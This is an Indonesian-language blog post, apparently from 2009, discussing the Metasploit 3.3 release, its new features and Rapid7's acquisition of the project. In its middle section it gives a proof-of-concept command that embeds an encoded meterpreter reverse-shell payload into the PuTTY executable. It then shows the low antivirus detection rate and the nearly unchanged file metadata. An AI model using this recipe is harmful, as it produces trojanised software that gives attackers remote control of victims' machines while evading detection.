.sudah 363 hari sejak release notes metasploit 3.2 beredar,kerja keras dari dev-team ataupun kontribusi dari para freelance, menyebabkan perkembangan framework API berbasis ruby ini cukup pesat,ya spirit of the open source pr0ject-
.beberapa perubahan dalam release kali ini:
– 123 new exploits,117 auxiliary modules.
– dukungan terhadap ruby 1.9.1.
– performance dan stability lebih baik,peningkatan dalam proses startup framework.
– terintegrasi dengan OSVDB, exploit yang memiliki hubungan dengan OSVDB memiliki id referensi.
– compatiblitas terhadap OS 32-bit ataupun 64-bit baik unix,mac OS,windows.
– dukungan untuk JSP payloads, IPV6, NX dan DEP.
– meterpreter mendukung screenshot,keylogger, ataupun packet sniffing.
– msfencode dapat di embedded ke arbitry executables baik itu 32-bit ataupun 64-bit.
.for more info metasploit’s 3.3 release notes.
.masih ingat dengan artikel ini , meterpreter di encode XOR menggunakan shikata_ga_nai, dan lolos dari site virustotal.
.berikut POC dari msfencode embedded to arbitry executables.
01..d0tz@k-elektr0nik:/pentest/exploits/framework3$ ./msfconsole02. 03. / / /04.(___ (___ ___ ___ ( ___ ___05.| )\ )| |___)|___ |___)| )|___)| )06.|__/ \_/ |__ |__ __/ | \ | |__ |/\/07. /08. 09. =[ metasploit v3.4-dev [core:3.4 api:1.0]10.+ -- --=[ 448 exploits - 216 auxiliary11.+ -- --=[ 262 payloads - 22 encoders - 8 nops12. =[ svn r7564 updated today (2009.11.18)13. 14.msf > version15.Framework: 3.4-dev.755416.Console : 3.4-dev.7537--------------------------------------------
1..d0tz@k-elektr0nik:/pentest/exploits/framework3$ ./msfpayload windows/meterpreter/reverse_tcp_allports LHOST=192.168.13.37 LPORT=443 R | ./msfencode -t exe -x /home/d0tz/putty.exe -o /home/d0tz/puttyw00t.exe2.[*] x86/shikata_ga_nai succeeded with size 102 (iteration=1).hasil scan virustotal 2/41.
.berikut merupakan hasil perbandingan metadata dari putty executable,
01..d0tz@k-elektr0nik:/pentest/exploits/framework3$ exiftool -a -u -g1 /home/d0tz/putty.exe02.---- ExifTool ----03.ExifTool Version Number : 7.8904.---- System ----05.File Name : putty.exe06.Directory : /home/d0tz07.File Size : 444 kB08.File Modification Date/Time : 2009:11:08 22:36:28+07:0009.---- File ----10.File Type : Win32 EXE11.MIME Type : application/octet-stream12.---- EXE ----13.Machine Type : Intel 386 or later, and compatibles14.Time Stamp : 2007:04:29 18:43:12+07:0015.PE Type : PE3216.Linker Version : 7.1017.Code Size : 32358418.Initialized Data Size : 15564819.Uninitialized Data Size : 020.Entry Point : 0x4777f21.OS Version : 4.022.Image Version : 0.023.Subsystem Version : 4.024.Subsystem : Windows GUI25.File Version Number : 0.60.0.026.Product Version Number : 0.60.0.027.File Flags Mask : 0x000b28.File Flags : (none)29.File OS : Win3230.Object File Type : Executable application31.File Subtype : 032.Language Code : English (British)33.Character Set : Unicode34.Company Name : Simon Tatham35.Product Name : PuTTY suite36.File Description : SSH, Telnet and Rlogin client37.Internal Name : PuTTY38.Original Filename : PuTTY39.File Version : Release 0.6040.Product Version : Release 0.6041.Legal Copyright : Copyright © 1997-2007 Simon Tatham.42. 43.------------------------------------------------------------------44. 45..d0tz@k-elektr0nik:/pentest/exploits/framework3$ exiftool -a -u -g1 /home/d0tz/puttyw00t.exe46.---- ExifTool ----47.ExifTool Version Number : 7.8948.---- System ----49.File Name : puttyw00t.exe50.Directory : /home/d0tz51.File Size : 444 kB52.File Modification Date/Time : 2009:11:18 10:46:17+07:0053.---- File ----54.File Type : Win32 EXE55.MIME Type : application/octet-stream56.---- EXE ----57.Machine Type : Intel 386 or later, and compatibles58.Time Stamp : 2007:04:29 18:43:12+07:0059.PE Type : PE3260.Linker Version : 7.1061.Code Size : 32358462.Initialized Data Size : 15564863.Uninitialized Data Size : 064.Entry Point : 0x4c51165.OS Version : 4.066.Image Version : 0.067.Subsystem Version : 4.068.Subsystem : Windows GUI69.File Version Number : 0.60.0.070.Product Version Number : 0.60.0.071.File Flags Mask : 0x000b72.File Flags : (none)73.File OS : Win3274.Object File Type : Executable application75.File Subtype : 076.Language Code : English (British)77.Character Set : Unicode78.Company Name : Simon Tatham79.Product Name : PuTTY suite80.File Description : SSH, Telnet and Rlogin client81.Internal Name : PuTTY82.Original Filename : PuTTY83.File Version : Release 0.6084.Product Version : Release 0.6085.Legal Copyright : Copyright © 1997-2007 Simon Tatham..ya bisa dilihat, hanya ada perbedaan pada entry point,are this s0 epic guys??
.walaupun berita terakhir announcement rapid7 dan hdmoore mail menyebutkan, metasploit telah di akusisi oleh rapid7 memang ada beberapa persepektif tentang ikut ambilnya rapid7 dalam project ini,positifnya dev-team akan lebih pr0fessional imbasnya metasploit lebih stabil, dan release sebuah exploit pun akan jauh lebih cepet. negatifnya mungkin beberapa fitur yang lebih advance akan dikenakan biaya oleh rapid7 like nessus maybe damn!… [that's just my opinion]
.kita liad saja konsekuensi dari para dev-team ataupun hd-moore apakah tetap menerapkan license 3-clause BSD atau akan mengikuti jejak immunity canvas maupun core-impact yang bersifat komersial.
.last w0rd, welcome metasploit 3.4 dev-

